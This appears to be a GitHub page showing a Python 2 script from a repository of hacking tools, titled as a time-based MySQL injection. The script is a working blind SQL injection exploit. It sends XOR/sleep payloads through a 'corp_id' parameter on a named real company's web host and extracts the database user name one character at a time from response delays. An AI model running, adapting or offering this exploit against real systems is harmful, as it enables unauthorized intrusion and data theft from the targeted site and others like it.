forked from arschlochnop/hack_tools_for_me
-
Notifications
You must be signed in to change notification settings - Fork 5
/
MySQL注射(基于time).py
59 lines (27 loc) · 982 Bytes
/
MySQL注射(基于time).py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.ABCDEFGHIJKLMNOPQRST'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):#21是user判断出的长度+1
for payload in payloads:
try:
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
s = "aaa'XOR(if(%s,sleep(3),0))OR'bbb" % s
conn = httplib.HTTPConnection('kact.kingdee.com', timeout=3)#输入网站地址
conn.request(method='GET',url="/world/createArticle?corp_id=%s" % urllib.quote(s))
conn.getresponse()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user,
time.sleep(3.0)
break
print '\n[Done] MySQL user is %s' % user